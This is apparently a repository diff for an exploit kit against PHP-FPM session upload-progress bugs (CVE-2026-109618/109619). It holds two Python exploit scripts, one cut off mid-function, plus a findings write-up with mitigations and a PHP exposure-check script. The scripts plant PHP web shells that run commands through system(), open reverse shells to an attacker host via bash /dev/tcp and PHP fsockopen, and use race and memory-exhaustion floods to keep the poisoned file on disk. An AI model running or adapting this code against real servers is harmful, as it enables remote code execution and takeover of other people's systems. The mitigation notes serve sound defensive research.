"HTTP_COOKIE": f"PHPSESSID={sid}",
}
request_id = 1
header = fcgi_begin_request(request_id)
header += fcgi_params(request_id, fcgi_params_dict)
# Send headers + body prefix as first STDIN record
first_stdin = fcgi_record(FCGI_STDIN, request_id, body_prefix)
sock = fpm_connect(fpm_addr, timeout=timeout)
sock.sendall(header + first_stdin)
# Small delay to let FPM start processing and write session file
time.sleep(0.2)
# Start the racer
race_thread = threading.Thread(target=racer, daemon=True)
race_thread.start()
# Drip file content slowly
drip_interval = drip_time / (drip_bytes // 64)
sent = 0
while sent < drip_bytes and found["body"] is None:
chunk = b"\x00" * min(64, drip_bytes - sent)
try:
sock.sendall(fcgi_record(FCGI_STDIN, request_id, chunk))
sent += len(chunk)
except (BrokenPipeError, ConnectionResetError, OSError):
break
time.sleep(drip_interval)
# Send suffix + STDIN EOF
try:
sock.sendall(fcgi_record(FCGI_STDIN, request_id, body_suffix))
sock.sendall(fcgi_stdin_eof(request_id))
except:
pass
# Read response (cleanup)
sock.settimeout(3)
try:
while True:
d = sock.recv(8192)
if not d:
break
except:
pass
sock.close()
race_thread.join(timeout=5)
return found["body"], found["path"]
# ── HTTP helpers (fallback for HTTP+FCGI mixed mode) ──────────────────
def _parse_url(url):
p = urlparse(url)
tls = p.scheme == "https"
host = p.hostname or "127.0.0.1"
port = p.port or (443 if tls else 80)
path = p.path or "/"
return host, port, tls, path
def tcp_connect(host, port, tls=False, timeout=30):
sock = socket.create_connection((host, port), timeout=timeout)
if tls:
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sock = ctx.wrap_socket(sock, server_hostname=host)
return sock
def recv_all(sock, timeout=10):
resp = b""
sock.settimeout(timeout)
try:
while True:
d = sock.recv(8192)
if not d:
break
resp += d
except socket.timeout:
pass
return resp
def send_chunk(sock, data):
sock.sendall(f"{len(data):x}\r\n".encode() + data + b"\r\n")
# ── Script discovery ──────────────────────────────────────────────────
SCRIPT_CANDIDATES = [
"/var/www/html/index.php",
"/var/www/html/wp-login.php",
"/var/www/html/wp-cron.php",
"/var/www/html/xmlrpc.php",
"/var/www/public/index.php",
"/var/www/app/public/index.php",
"/var/www/html/info.php",
"/srv/http/index.php",
"/usr/share/phpmyadmin/index.php",
"/usr/local/lib/php/pearcmd.php",
]
SESSION_PATHS = [
"/tmp",
"/tmp/php-sessions",
"/var/lib/php/sessions",
"/var/lib/php5/sessions",
"/var/lib/php/sess",
]
def find_php_script(fpm_addr, candidates, timeout=3):
"""Probe FPM to find an existing .php file."""
for path in candidates:
try:
params = {
"SCRIPT_FILENAME": path,
"REQUEST_METHOD": "GET",
"SERVER_SOFTWARE": "probe",
"REMOTE_ADDR": "127.0.0.1",
"SERVER_ADDR": "127.0.0.1",
"SERVER_PORT": "80",
"SERVER_PROTOCOL": "HTTP/1.1",
"CONTENT_TYPE": "",
"CONTENT_LENGTH": "0",
}
request_id = 1
payload = fcgi_begin_request(request_id)
payload += fcgi_params(request_id, params)
payload += fcgi_stdin_eof(request_id)
sock = fpm_connect(fpm_addr, timeout)
sock.sendall(payload)
resp = b""
sock.settimeout(timeout)
try:
while True:
d = sock.recv(65536)
if not d:
break
resp += d
except socket.timeout:
pass
sock.close()
stdout, _ = fcgi_parse_stdout(resp)
if b"Primary script unknown" not in stdout and len(stdout) > 0:
return path
except:
continue
return None
# ── main ──────────────────────────────────────────────────────────────
def run(args):
fpm_addr = args.fpm
sid = args.session_id or os.urandom(16).hex()
marker = "FCGIRCE"
spaths = list(SESSION_PATHS)
if args.session_path:
spaths = [args.session_path] + [s for s in spaths
if s != args.session_path]
if args.cmd:
cmd_b64 = base64.b64encode(args.cmd.encode()).decode()
php_code = (
f'<?php echo "{marker}:";'
f'system(base64_decode("{cmd_b64}"));'
f'echo ":{marker}END"; ?>'
).encode()
elif args.lhost and args.lport:
shell = (f"bash -c 'bash -i >& "
f"/dev/tcp/{args.lhost}/{args.lport} 0>&1'")
cmd_b64 = base64.b64encode(shell.encode()).decode()
php_code = f'<?php system(base64_decode("{cmd_b64}")); ?>'.encode()
elif args.trigger_only:
php_code = (
f'<?php echo "{marker}:pid=".getmypid().'
f'"&uname=".php_uname().":{marker}END"; ?>'
).encode()
else:
print("[!] Specify --cmd, --lhost/--lport, or --trigger-only",
file=sys.stderr)
sys.exit(1)
print("=" * 65)
print(" CVE-2026-109618/109619: RCE via FastCGI (no LFI)")
print("=" * 65)
print(f" FPM address : {fpm_addr}")
print(f" Session ID : {sid}")
print(f" Drip time : {args.drip_time}s")
if args.cmd:
print(f" Command : {args.cmd}")
elif args.lhost:
print(f" Reverse sh : {args.lhost}:{args.lport}")
else:
print(f" Trigger-only")
print()
# ── Step 0: find a .php script ──
print("[*] Step 0: probing PHP-FPM for an existing .php file...")
script_file = args.script_file
if not script_file:
script_file = find_php_script(fpm_addr, SCRIPT_CANDIDATES)
if script_file:
print(f" Found: {script_file}")
else:
print(" [!] No .php file found. Use --script-file.")
sys.exit(1)
else:
print(f" Using: {script_file}")
# ── Step 1+2: poison via slow drip + race execution ──
print(f"[*] Step 1+2: slow-drip poison + race execution...")
print(f" Dripping multipart body over {args.drip_time}s "
f"while racing auto_prepend_file...")
body, path = poison_and_execute_fcgi(
fpm_addr, script_file, sid, php_code,
spaths, marker,
drip_time=args.drip_time,
timeout=args.drip_time + 10)
if body:
print(f" [+] RCE confirmed via {path}")
output = body.decode(errors="replace")
m = re.search(rf"{marker}:(.*?):{marker}END", output, re.DOTALL)
if m:
print()
print(m.group(1))
else:
print()
print(output)
return True
else:
print(" [!] Race did not succeed.")
print(" Possible causes:")
print(" - pm.max_children < 2 (need at least 2 workers)")
print(" - session.upload_progress.enabled = 0")
print(" - Incorrect session.save_path (try --session-path)")
print(" - Try increasing --drip-time")
return False
def main():
p = argparse.ArgumentParser(
description="CVE-2026-109618/109619: RCE via FastCGI (no LFI)")
p.add_argument("--fpm", required=True,
help="PHP-FPM address (host:port or /path/to/socket)")
p.add_argument("-t", "--target",
help="HTTP URL (optional, for HTTP+FCGI mixed mode)")
p.add_argument("--script-file",
help="Existing .php file on target (auto-detected)")
p.add_argument("--session-path",
help="session.save_path override")
p.add_argument("--session-id",
help="Force session ID (default: random)")
p.add_argument("--cmd", help="Command to execute")
p.add_argument("--lhost", help="Reverse shell host")
p.add_argument("--lport", type=int, help="Reverse shell port")
p.add_argument("--trigger-only", action="store_true",
help="Verify RCE without running a payload")
p.add_argument("--drip-time", type=int, default=10,
help="Seconds to drip the upload body (default: 10)")
sys.exit(0 if run(p.parse_args()) else 1)
if __name__ == "__main__":
main()
+169
View File
@@ -0,0 +1,169 @@
# RCE Without LFI — Findings
Question: can CVE-2026-109618 / CVE-2026-109619 (the `PHP_SESSION_UPLOAD_PROGRESS`
write primitive) be turned into RCE **without any include() primitive in the
application**?
Short answer: not through the session decoder — PHP never unserializes attacker
bytes off the session file, and four independent guards close that route. But
yes through a different consumer: **PHP-FPM's own request routing**. When
`session.save_path` is web-served, the poisoned session file is directly
requestable, and php-fpm executes it through the standard `PATH_INFO` route as
soon as `security.limit_extensions` is empty. No application code runs at any
point; the poison fires even on 404 URLs.
Everything below was verified against a local php-fpm 8.5.11 build plus the
PHP 8.3/8.5 sources (`session_83.c`, php-src `ext/session/session.c`,
`ext/session/mod_files.c`, `ext/session/rfc1867_83.c`).
## Part 1: why session deserialization is a dead end
The obvious no-LFI consumer is `session_start()` itself: it decodes the
poisoned file on the next request. If the decoded stream could be made to
unserialize an attacker-chosen `O:...` object, any autoloadable gadget chain
(phpggc) would give RCE with zero LFI. It cannot, for four reasons:
**1. The `|` guard aborts the whole write** (php handler, the default).
`PS_SERIALIZER_ENCODE_FUNC(php)` checks every key:
smart_str_appendl(&buf, ZSTR_VAL(key), ZSTR_LEN(key));
if (memchr(ZSTR_VAL(key), PS_DELIMITER, ZSTR_LEN(key))) {
... return NULL; /* session.c:993-998 in 8.3 */
and `php_session_save_current_state()` then writes the **empty string** instead
of the session (session.c:529-531). The progress key is `prefix + $_POST value`
appended verbatim (session.c:3144-3145, no per-character filtering — the README
of CVE-2026-109619 slightly overstates this as "filtering"), so a `|` in the
value kills the write entirely.
Verified: POST with progress value `AAA|O:13:"ExploitCanary"...` → session file
exists with **0 bytes**. No object, no data.
**2. The key is never unserialized.** With `serialize_handler=php`, the decode
loop splits at the first `|` and unserializes only the value side
(session.c:1024-1048). The value side is always the well-formed progress array
written by `php_var_serialize` — length-prefixed, aligned. The raw attacker
bytes land in the key, which becomes a plain `$_SESSION` array key.
**3. Other serializers are aligned or escaped.**
- `php_serialize`: key passes through `php_var_serialize` escaping
(`"` → `\"`), so a smuggled `O:8:\"...` cannot parse; read-back is a single
aligned `unserialize()`.
- `php_binary`: encode skips keys longer than 127 bytes (`session.c:928`,
`continue`), decode is length-prefixed.
- `wddx`: XML, can only produce scalars/arrays.
**4. The SID cannot carry the payload into a filename.** The rfc1867 flow
skips `session.c`'s own SID validation — `PS(id) = zend_string_copy(...)`
straight from the cookie/GET/POST-form-field (session.c FILE_START handler) —
but `mod_files.c:ps_files_open()` re-validates with `php_session_valid_key()`
(`[A-Za-z0-9,-]`, length ≤ 256) before every open, and opens with `O_NOFOLLOW`.
The path is always `<save_path>/sess_<SID>` (`ps_files_path_create`), so no
traversal, no `sess_x.php`, no symlink. Verified: a dotted SID produces
"Session ID is too long or contains illegal characters" and no file.
Handler-specific corollary: the rfc1867 path hands the raw SID to whichever
save handler is configured. `mod_files` is the only built-in that validates.
Third-party handlers (phpredis, memcached) receive the SID bytes unvalidated —
whether they sanitize before building store keys is deployment-dependent and
was **not verified** here; for redis-style handlers a CRLF-capable SID is
protocol injection, which is a separate research thread.
## Part 2: what works — php-fpm consumes the file itself
The no-LFI consumer is not PHP code, it is the **request router**:
1. **The poison does not need the application.** The rfc1867 callback runs
inside the SAPI POST reader, before script dispatch. A multipart POST to a
URL whose script does not exist (fpm answers 404) still writes the poisoned
session file. Verified: POST to `/nonexistent.php` → file written. This
means *any* PHP-handled vhost URL is a valid injection endpoint.
2. **If `session.save_path` is web-served, the file is fetchable over HTTP.**
`sess_<SID>` has no extension (SID charset has no dot), so a default php-fpm
refuses it: `Access denied.` from `security.limit_extensions` (verified).
But with **`security.limit_extensions` empty** — a very common production
setting — the classic nginx `cgi.fix_pathinfo` route executes it:
GET /sessions/sess_<SID>/x.php?c=id
nginx matches `location ~ \.php$` on the URI, resolves the longest existing
prefix as the script, and fpm executes the extensionless session file with
`PATH_INFO=/x.php`.
Verified end-to-end against php-fpm 8.5.11: the session file
`upload_progress_<?php system($_GET["c"]); ?>|a:5:{...}` executed and
returned `uid=1000(...)`. Both limit_extensions states tested.
3. **Persistence vs the race.** With `session.upload_progress.cleanup=1`
(default) the file is truncated at `MULTIPART_EVENT_END`. Persistence
options:
- `cleanup=0` — file persists with `done=1`; no race needed.
- **Streaming request bodies** (Apache mod_php, nginx
`fastcgi_request_buffering off`, lighttpd, direct fpm exposure): the
write lands at `MULTIPART_EVENT_FILE_START` and the window lasts as long
as the upload is dripped. Verified: slow FCGI drip, execution request hit
during the window on the first poll.
- **Buffering stacks** (nginx default): the whole body arrives, then fpm
parses; the window is only the parse time — measured ~16 ms for a 7 MB
body. Detection may land, follow-up commands usually miss. Not reliable.
- **CVE-2026-109618 OOM bailout** — deterministic: the field flood OOMs the
parser, `zend_bailout` longjmps past `MULTIPART_EVENT_END`, cleanup never
runs, and the poisoned file persists. Requires the OOM body to fit under
`post_max_size` while exceeding `memory_limit` headroom (i.e.
`memory_limit <` flood volume `< post_max_size`). Verified: 17 MB flood
against `memory_limit=16M`, `post_max_size=64M` → worker died, file
persisted, pathinfo execution returned command output.
## Exploit
`exploit_nolfi.py` implements the chain with auto-detection:
- `--probe` classifies each candidate URL prefix: not served / served only
(source disclosure) / fully executable.
- Default mode poisons + races the upload window while polling execution
vectors (`/x.php`, `/index.php`, `/a.phar`, `/x.phtml`), then falls back to
calm execution if the file persisted.
- `--oom` switches persistence to the CVE-2026-109618 bailout (tune with
`--fields` / `--fsize`).
## Updated mitigation matrix
| Mitigation | Race | RLIMIT | /proc/fd | served-path (this) |
|---|---|---|---|---|
| PHP 8.4.27 patch alone | FAIL | FAIL | FAIL | FAIL |
| + `upload_progress=0` | OK | OK | FAIL | FAIL (poison gone, but /proc/fd-style upload temp files unaffected) |
| + `hidepid=2` on /proc | FAIL | FAIL | OK | FAIL |
| + limit_extensions=`.php .phar` | — | — | — | OK |
| + save_path outside docroot / not served | — | — | — | OK |
| Fix the LFI | OK | OK | OK | **FAIL** |
"Fix the LFI" no longer closes the bug class: the served-path chain needs no
application file-inclusion at all.
## Recommendations (additions to the existing list)
5. Set `security.limit_extensions = .php .phar` explicitly in every fpm pool
(do not leave it empty).
6. Keep `session.save_path` outside any web-served tree; audit for alias or
`location` blocks that expose it.
7. Keep `cgi.fix_pathinfo=0` where the application does not need PATH_INFO.
## Test log (local rig)
- php-fpm 8.5.11 (source build), session.save_path under a docroot served by
an nginx-equivalent gateway (static files + `location ~ \.php$` +
fix_pathinfo semantics).
- `cleanup=0` + empty limit_extensions: poison → served detection → pathinfo
exec → interactive command loop. Confirmed RCE.
- `cleanup=1` + empty limit_extensions + streaming FCGI drip: execution hit
during upload window on first poll. Confirmed RCE.
- `cleanup=1` + OOM flood (17 MB, memory_limit=16M): worker bailout, file
persisted, exec confirmed. Confirmed RCE.
- `cleanup=1` + nginx-style buffered body: ~16 ms window at 7 MB; detection
frequently succeeds, sustained command execution unreliable. Documented.
- `security.limit_extensions=.php .phar` (default): all execution attempts
blocked with "Access denied". Confirmed mitigation.
- Session deserialization injection (`|` in progress key): 0-byte file,
no unserialization. Confirmed dead end.
+56
View File
@@ -0,0 +1,56 @@
<?php
// Deployment diagnostic for the no-LFI session attack surface.
// Drop on the target, request once, then REMOVE it.
//
// Reports whether the two preconditions of the served-path chain hold:
// 1. session.save_path is inside (or aliased to) a web-served tree
// 2. security.limit_extensions is empty (fpm would execute
// extensionless session files via PATH_INFO)
header('Content-Type: text/plain');
$sp = session_save_path();
if ($sp === '') {
$sp = sys_get_temp_dir();
}
// strip the optional "N;/path" depth prefix
if (($p = strrchr($sp, ';')) !== false) {
$sp = substr($p, 1);
}
$doc = rtrim($_SERVER['DOCUMENT_ROOT'] ?? '', '/');
$real_sp = realpath($sp) ?: $sp;
$real_doc = realpath($doc) ?: $doc;
$under_doc = ($real_doc !== '' && strncmp($real_sp, $real_doc, strlen($real_doc)) === 0);
$le = ini_get('security.limit_extensions');
$sapi = php_sapi_name();
echo "sapi = {$sapi}\n";
echo "session.save_path = {$sp}\n";
echo "DOCUMENT_ROOT = {$doc}\n";
echo "save_path under docroot = " . var_export($under_doc, true) . "\n";
echo "security.limit_extensions = [" . $le . "]\n";
echo "upload_progress.enabled = " . ini_get('session.upload_progress.enabled') . "\n";
echo "upload_progress.cleanup = " . ini_get('session.upload_progress.cleanup') . "\n";
echo "memory_limit = " . ini_get('memory_limit') . "\n";
echo "post_max_size = " . ini_get('post_max_size') . "\n";
echo "open_basedir = [" . ini_get('open_basedir') . "]\n";
$verdict = array();
if (ini_get('session.upload_progress.enabled')) {
if ($under_doc) {
$verdict[] = "save_path is web-served: session files are requestable";
}
if ($sapi === 'fpm-fcgi' && trim($le) === '') {
$verdict[] = "limit_extensions empty: extensionless session files EXECUTE via PATH_INFO";
}
}
if ($verdict) {
echo "\nEXPOSED:\n";
foreach ($verdict as $v) {
echo " - {$v}\n";
}
echo "\nSee nolfi/FINDINGS.md. Set security.limit_extensions and move save_path.\n";
} else {
echo "\nNo served-path exposure detected.\n";
}
+590
View File
@@ -0,0 +1,590 @@
#!/usr/bin/env python3
"""
CVE-2026-109618 / CVE-2026-109619 — RCE WITHOUT LFI
("served save_path" chain)
Every other exploit in this repo needs an include() primitive in the
application to execute the poisoned session file. This one does not.
It turns the session upload progress write primitive into RCE using only
PHP-FPM request routing:
1. PHP_SESSION_UPLOAD_PROGRESS writes PHP code into
<save_path>/sess_<SID> during multipart parsing. This fires even on
URLs that do not exist (404), because rfc1867 processing happens in
the SAPI POST reader before script dispatch. No session_start(),
no application code involved.
2. If session.save_path lives under a web-served directory, the session
file is directly requestable over HTTP.
3. php-fpm executes the (extension-less) session file when the request
carries PATH_INFO, e.g. GET /sessions/sess_abc123/x.php
— the classic nginx cgi.fix_pathinfo routing. The only gate is
security.limit_extensions, whose compiled default (.php .phar) blocks
it but which is frequently set empty in real deployments. Verified
both ways against php-fpm 8.5 (see nolfi/FINDINGS.md).
4. session.upload_progress.cleanup=1 (default) truncates the file when
the upload finishes, so execution is raced against the upload window
with a slow multipart body. With cleanup=0 the file persists and no
race is needed.
Preconditions (all defaults unless noted):
- session.upload_progress.enabled=1
- PHP-FPM with session.save_path web-served
- security.limit_extensions empty (non-default; common in the wild)
- any PHP-handled URL on the vhost, including 404s
Usage:
python3 exploit_nolfi.py -t http://target/ --probe
python3 exploit_nolfi.py -t http://target/ --url-prefix /sessions --cmd 'id'
python3 exploit_nolfi.py -t http://target/ --url-prefix /tmp --lhost 10.0.0.1 --lport 4444
"""
import argparse
import io
import os
import re
import socket
import sys
import threading
import time
MARKER = "NOLFIMARK"
DEFAULT_URL_PREFIXES = [
"/sessions",
"/tmp",
"/var/lib/php/sessions",
"/var/lib/php/session",
"/var/lib/php5/sessions",
"/sess",
"/storage/sessions",
"/files/sessions",
]
# ---------------------------------------------------------------------------
# HTTP helpers (raw sockets, same style as the other exploits)
# ---------------------------------------------------------------------------
def _parse_url(url: str):
from urllib.parse import urlparse
p = urlparse(url)
tls = p.scheme == "https"
host = p.hostname or "127.0.0.1"
port = p.port or (443 if tls else 80)
path = p.path or "/"
if p.query:
path += "?" + p.query
return host, port, tls, path
def _connect(host, port, tls, timeout=10):
sock = socket.create_connection((host, port), timeout=timeout)
if tls:
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sock = ctx.wrap_socket(sock, server_hostname=host)
return sock
def _recv_response(sock, timeout=5):
resp = b""
sock.settimeout(timeout)
try:
while True:
chunk = sock.recv(8192)
if not chunk:
break
resp += chunk
if b"\r\n\r\n" in resp:
hdr_end = resp.index(b"\r\n\r\n") + 4
m = re.search(rb"Content-Length:\s*(\d+)", resp[:hdr_end], re.I)
if m:
cl = int(m.group(1))
while len(resp) - hdr_end < cl:
more = sock.recv(8192)
if not more:
break
resp += more
break
if b"transfer-encoding: chunked" in resp[:hdr_end].lower():
if b"\r\n0\r\n" in resp[hdr_end:]:
break
except socket.timeout:
pass
return resp
def _decode_chunked(data):
out = b""
while data:
line_end = data.find(b"\r\n")
if line_end < 0:
break
try:
n = int(data[:line_end].split(b";")[0].strip(), 16)
except ValueError:
break
if n == 0:
break
out += data[line_end + 2:line_end + 2 + n]
data = data[line_end + 2 + n + 2:]
return out
def _body_of(resp):
if b"\r\n\r\n" not in resp:
return b""
headers, body = resp.split(b"\r\n\r\n", 1)
if b"transfer-encoding: chunked" in headers.lower():
return _decode_chunked(body)
return body
def _status_of(resp):
try:
return int(resp.split(b" ")[1])
except (IndexError, ValueError):
return 0
def _get(host, port, tls, path, cookie=None, timeout=5, keepalive=False):
sock = _connect(host, port, tls)
req = b"GET " + path.encode() + b" HTTP/1.1\r\nHost: " + host.encode() + b"\r\n"
if cookie:
req += b"Cookie: " + cookie.encode() + b"\r\n"
req += b"Connection: close\r\n\r\n"
sock.sendall(req)
resp = _recv_response(sock, timeout)
sock.close()
return _status_of(resp), _body_of(resp)
# ---------------------------------------------------------------------------
# Multipart slow upload (keeps the poisoned session file on disk)
# ---------------------------------------------------------------------------
def slow_poison_upload(host, port, tls, path, sid, php_code, fill=6 << 20,
drip=0.01, result=None):
boundary = b"----NOLFI" + os.urandom(6).hex().encode()
head = (
b"--" + boundary + b"\r\n"
b'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n'
b"\r\n" + php_code + b"\r\n"
b"--" + boundary + b"\r\n"
b'Content-Disposition: form-data; name="f"; filename="a.bin"\r\n'
b"Content-Type: application/octet-stream\r\n\r\n"
)
tail = b"\r\n--" + boundary + b"--\r\n"
total = len(head) + fill + len(tail)
try:
sock = _connect(host, port, tls, timeout=60)
sock.sendall(
b"POST " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Content-Type: multipart/form-data; boundary=" + boundary + b"\r\n"
b"Content-Length: " + str(total).encode() + b"\r\n"
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
b"Connection: close\r\n\r\n" + head
)
block = b"\x00" * 65000
for _ in range(fill // len(block)):
sock.sendall(block)
time.sleep(drip)
sock.sendall(tail)
_recv_response(sock, timeout=5)
sock.close()
except OSError as e:
if result is not None:
result["error"] = str(e)
def oom_poison_upload(host, port, tls, path, sid, php_code, fields=30000,
fsize=512, result=None):
"""CVE-2026-109618 OOM variant: progress + file part + field flood.
The OOM bailout longjmps past MULTIPART_EVENT_END, so cleanup never
runs and the poisoned session file persists. Requires the OOM body
to fit under post_max_size while exceeding memory_limit headroom.
"""
boundary = b"----NOLFIOOM" + os.urandom(6).hex().encode()
def field(name, value):
return (b"--" + boundary + b"\r\n"
b'Content-Disposition: form-data; name="' + name + b'"\r\n\r\n'
+ value + b"\r\n")
def file_part():
return (b"--" + boundary + b"\r\n"
b'Content-Disposition: form-data; name="f"; filename="a.bin"\r\n'
b"Content-Type: application/octet-stream\r\n\r\n"
+ b"\x00" * 2048 + b"\r\n")
def chunk(sock, data):
sock.sendall(hex(len(data))[2:].encode() + b"\r\n" + data + b"\r\n")
sent = 0
try:
sock = _connect(host, port, tls, timeout=60)
sock.sendall(
b"POST " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Content-Type: multipart/form-data; boundary=" + boundary + b"\r\n"
b"Transfer-Encoding: chunked\r\n"
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
)
chunk(sock, field(b"PHP_SESSION_UPLOAD_PROGRESS", php_code))
chunk(sock, file_part())
batch = b""
for i in range(fields):
batch += field(f"p{i:06d}".encode(), b"X" * fsize)
if len(batch) >= 256 * 1024:
chunk(sock, batch)
sent = i
batch = b""
if batch:
chunk(sock, batch)
try:
sock.sendall(b"0\r\n\r\n")
_recv_response(sock, timeout=8)
except OSError:
pass
sock.close()
except OSError as e:
if result is not None:
result["error"] = str(e)
if result is not None:
result["fields_sent"] = sent
# ---------------------------------------------------------------------------
# Payloads
# ---------------------------------------------------------------------------
def cmd_payload():
return f'<?php echo "{MARKER}:"; system($_GET["c"]); ?>'.encode()
def reverse_shell_payload(lhost, lport):
code = (
f'$s=fsockopen("{lhost}",{lport});'
f'proc_open("/bin/sh -i",array(0=>$s,1=>$s,2=>$s),$p);'
)
return f'<?php echo "{MARKER}:"; {code} ?>'.encode()
# ---------------------------------------------------------------------------
# Chain: poison -> probe served dir -> pathinfo execution
# ---------------------------------------------------------------------------
def attempt_prefix(host, port, tls, path, url_prefix, php_code, window,
fill=1 << 25, verbose=True, oom=False, fields=30000,
fsize=512):
"""One attempt against one URL prefix. Returns
("rce", sid, url, text) | ("served", sid, url, None) | None."""
sid = "".join(chr(97 + (os.urandom(1)[0] % 26)) for _ in range(8)) + \
os.urandom(12).hex()
sess_url = f"{url_prefix}/sess_{sid}"
cookie = f"PHPSESSID={sid}"
exec_vectors = ("/x.php", "/index.php", "/a.phar", "/x.phtml")
if oom:
result = {}
if verbose:
print(f" [*] OOM poisoning {sess_url} ...")
oom_poison_upload(host, port, tls, path, sid, php_code,
fields=fields, fsize=fsize, result=result)
time.sleep(1.0)
saw_static = False
try:
status, body = _get(host, port, tls, sess_url, cookie=None,
timeout=5)
if status == 200 and b"upload_progress_" in body:
saw_static = True
if verbose:
print(f" [+] {sess_url} web-served, file persisted "
f"(OOM bailout skipped cleanup)")
except OSError:
pass
if saw_static:
for path_info in exec_vectors:
try:
status, body = _get(host, port, tls, sess_url + path_info,
timeout=6)
text = body.decode(errors="replace")
if MARKER in text:
return ("rce", sid, sess_url + path_info, text)
except OSError:
continue
return ("served", sid, sess_url, None)
if verbose and result.get("error"):
print(f" [!] upload error: {result['error']}")
return None
result = {}
t = threading.Thread(target=slow_poison_upload,
args=(host, port, tls, path, sid, php_code),
kwargs={"result": result, "fill": fill}, daemon=True)
t.start()
time.sleep(0.5)
deadline = time.time() + window
saw_static = False
exec_vectors = ("/x.php", "/index.php", "/a.phar", "/x.phtml")
while time.time() < deadline:
# execution vectors first, raced against the (possibly tiny) window
for path_info in exec_vectors:
try:
status, body = _get(host, port, tls, sess_url + path_info,
timeout=3)
text = body.decode(errors="replace")
if MARKER in text:
return ("rce", sid, sess_url + path_info, text)
except OSError:
continue
# static: served-dir detection (source disclosure of the session file)
try:
status, body = _get(host, port, tls, sess_url, cookie=None,
timeout=3)
if status == 200 and b"upload_progress_" in body:
saw_static = True
if verbose:
print(f" [+] {sess_url} is web-served "
f"(session file source disclosed)")
break
except OSError:
pass
time.sleep(0.005)
t.join(timeout=3)
# post-window calm checks: streaming stacks with cleanup=0 keep the file
try:
status, body = _get(host, port, tls, sess_url, cookie=None, timeout=3)
if status == 200 and b"upload_progress_" in body:
saw_static = True
if verbose:
print(f" [+] {sess_url} is web-served (file persisted "
f"after upload: cleanup=0)")
except OSError:
pass
if saw_static:
for path_info in exec_vectors:
try:
status, body = _get(host, port, tls, sess_url + path_info,
timeout=4)
text = body.decode(errors="replace")
if MARKER in text:
return ("rce", sid, sess_url + path_info, text)
except OSError:
continue
if saw_static:
return ("served", sid, sess_url, None)
return None
def run_cmd(host, port, tls, path, url_prefix, sid, cmd, oom=False,
fields=30000, fsize=512):
"""Re-poison the same SID and execute a command during the window."""
sess_url = f"{url_prefix}/sess_{sid}"
payload = f'<?php echo "{MARKER}:"; system($_GET["c"]); ?>'.encode()
hit = {}
lock = threading.Lock()
def poll(pi):
while True:
if stop.is_set():
return
try:
status, body = _get(host, port, tls,
sess_url + pi + "?c=" + cmd.replace(" ", "+"),
timeout=6)
text = body.decode(errors="replace")
if MARKER in text:
with lock:
if "out" not in hit:
out = text.split(MARKER + ":", 1)[1]
hit["out"] = out.split(
'|a:5:{s:10:"start_time"', 1)[0]
stop.set()
return
except OSError:
continue
if oom:
result = {}
oom_poison_upload(host, port, tls, path, sid, payload,
fields=fields, fsize=fsize, result=result)
stop = threading.Event()
threads = [threading.Thread(target=poll, args=(pi,), daemon=True)
for pi in ("/x.php", "/index.php")]
for th in threads:
th.start()
for th in threads:
th.join(timeout=10)
return hit.get("out")
result = {}
for cycle in range(3 if not oom else 1):
t = threading.Thread(target=slow_poison_upload,
args=(host, port, tls, path, sid, payload),
kwargs={"result": result}, daemon=True)
t.start()
time.sleep(0.3)
stop = threading.Event()
threads = [threading.Thread(target=poll, args=(pi,), daemon=True)
for pi in ("/x.php", "/index.php", "/a.phar", "/x.phtml")]
for th in threads:
th.start()
grace = None
while True:
if stop.is_set():
break
if not t.is_alive():
if grace is None:
grace = time.time() + 1.5
elif time.time() > grace:
break
time.sleep(0.002)
stop.set()
for th in threads:
th.join(timeout=3)
if "out" in hit:
return hit["out"]
return None
# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------
def main():
p = argparse.ArgumentParser(
description="CVE-2026-109618/109619: RCE without LFI "
"(web-served session.save_path + php-fpm pathinfo)",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
%(prog)s -t http://target/ --probe
%(prog)s -t http://target/ --url-prefix /sessions --cmd 'id'
%(prog)s -t http://target/ --url-prefix /sessions --lhost 10.0.0.1 --lport 4444
%(prog)s -t http://target/ --url-prefix /sessions --cmd 'id' --window 20
""")
p.add_argument("--target", "-t", required=True,
help="Target base URL (any PHP-handled URL on the vhost, "
"404 is fine)")
p.add_argument("--url-prefix", default="",
help="URL prefix that serves session.save_path "
"(e.g. /sessions). Probes defaults if omitted")
p.add_argument("--cmd", help="Command to execute")
p.add_argument("--lhost", help="Listener IP for reverse shell")
p.add_argument("--lport", type=int, help="Listener port for reverse shell")
p.add_argument("--window", type=float, default=12.0,
help="Upload race window in seconds (default 12)")
p.add_argument("--fill", type=int, default=6, help="Upload filler size "
"in MB; must stay under the target post_max_size (default "
"6MB, PHP default post_max_size is 8M)")
p.add_argument("--probe", action="store_true",
help="Only classify the target, do not attack")
p.add_argument("--oom", action="store_true",
help="Use the CVE-2026-109618 OOM bailout for "
"persistence instead of racing the upload window "
"(requires post_max_size > OOM volume and memory "
"headroom)")
p.add_argument("--fields", type=int, default=30000,
help="OOM pressure fields (default 30000)")
p.add_argument("--fsize", type=int, default=512,
help="OOM field size in bytes (default 512)")
p.add_argument("--attempts", type=int, default=3)
args = p.parse_args()
host, port, tls, path = _parse_url(args.target)
scheme = "https" if tls else "http"
print(f"[*] RCE without LFI — served save_path + fpm pathinfo")
print(f"[*] Target: {args.target}")
prefixes = [args.url_prefix] if args.url_prefix else list(DEFAULT_URL_PREFIXES)
fill = args.fill * (1 << 20)
if args.probe:
php_code = cmd_payload()
print(f"[*] Probing {len(prefixes)} candidate URL prefixes "
f"(web-served session dir detection)")
for prefix in prefixes:
r = attempt_prefix(host, port, tls, path, prefix, php_code,
window=args.window, fill=fill, verbose=True,
oom=args.oom, fields=args.fields,
fsize=args.fsize)
if r is None:
print(f" [-] {prefix}: not served")
else:
kind, sid, url, text = r
if kind == "rce":
print(f" [++] {prefix}: EXECUTABLE — {url}")
else:
print(f" [+] {prefix}: served, not executable "
f"(limit_extensions default or non-fpm engine)")
return
if not args.cmd and not (args.lhost and args.lport):
print("[!] Specify --probe, --cmd, or --lhost/--lport")
sys.exit(1)
